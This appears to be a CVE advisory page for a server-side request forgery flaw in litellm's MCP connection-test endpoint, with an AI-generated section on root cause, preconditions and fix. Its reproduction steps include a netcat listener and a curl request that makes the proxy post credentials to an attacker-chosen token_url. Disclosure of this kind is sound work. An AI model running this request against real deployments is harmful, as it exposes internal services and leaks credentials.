BerriAI litellm MCP Server Connection Testing rest_endpoints.py _execute_with_mcp_client server-side request forgery
Description
A security vulnerability has been detected in BerriAI litellm up to 1.82.2. Affected by this vulnerability is the function _execute_with_mcp_client of the file litellm/proxy/_experimental/mcp_server/rest_endpoints.py of the component MCP Server Connection Testing. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
2Patches
Vulnerability mechanics
Root cause
"Missing validation of the attacker-supplied `token_url` in the M2M OAuth flow detection allows the proxy to issue an outbound POST request to an arbitrary destination."
Attack vector
An authenticated attacker sends a crafted POST request to the `/v1/mcp/test/connection` endpoint with a payload containing `client_id`, `client_secret`, and an arbitrary `token_url` pointing to an internal or external target. The LiteLLM proxy automatically infers an M2M client_credentials OAuth flow from these fields and issues an HTTP POST request to the attacker-supplied `token_url`, carrying the credentials in the body. This allows the attacker to probe internal network services, leak credentials to an attacker-controlled listener, or issue unauthorized POST requests to third-party integrations [CWE-918] [ref_id=1].
Affected code
The vulnerability resides in `litellm/proxy/_experimental/mcp_server/rest_endpoints.py` within the `_execute_with_mcp_client` function (lines 878–969), which automatically infers an M2M OAuth flow from user-supplied `client_id`, `client_secret`, and `token_url` fields without validating the `token_url`. The outbound POST request is then executed by `_fetch_token` in `litellm/proxy/_experimental/mcp_server/oauth2_token_cache.py` (line 101), which blindly uses the attacker-controlled `token_url`.
What the fix does
The advisory does not include a published patch. The recommended fix is to validate or domain-whitelist the `token_url` input before it is used in the `_execute_with_mcp_client` handler, and to restrict the outbound HTTP request in `_fetch_token` to only allow connections to trusted token endpoints. Without such validation, an attacker can force the proxy to send POST requests to arbitrary destinations.
Preconditions
- authThe attacker must possess a valid API key (e.g., `sk-1234`) for the LiteLLM proxy.
- configThe LiteLLM proxy must be running with the `/v1/mcp/test/connection` endpoint exposed.
- networkThe attacker must be able to reach the LiteLLM proxy over the network.
- inputThe attacker supplies a crafted JSON payload containing `client_id`, `client_secret`, and an arbitrary `token_url`.
Reproduction
1. Set up a listener on an internal or attacker-controlled target (e.g., `nc -lvp 8081`). 2. Send a crafted POST request to the LiteLLM proxy: ``` curl -X POST http://localhost:4000/v1/mcp/test/connection \ -H "Authorization: Bearer sk-1234" \ -H "Content-Type: application/json" \ -d '{ "url": "http://example.com/mcp", "credentials": { "client_id": "malicious_client_id", "client_secret": "malicious_client_secret_data" }, "token_url": "http://host.docker.internal:8081/internal/token" }' ``` 3. Observe the listener receiving a POST request from the LiteLLM proxy with the attacker-supplied credentials in the body.
Generated on Jun 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- gist.github.com/YLChen-007/256c8ff0750e298f89b6b287c90c2981mitreexploit
- vuldb.com/cve/CVE-2026-12774mitrethird-party-advisory
- vuldb.com/submit/811285mitrethird-party-advisory
- vuldb.com/vuln/372516mitrevdb-entrytechnical-description
- vuldb.com/vuln/372516/ctimitresignaturepermissions-required
News mentions
0No linked articles in our index yet.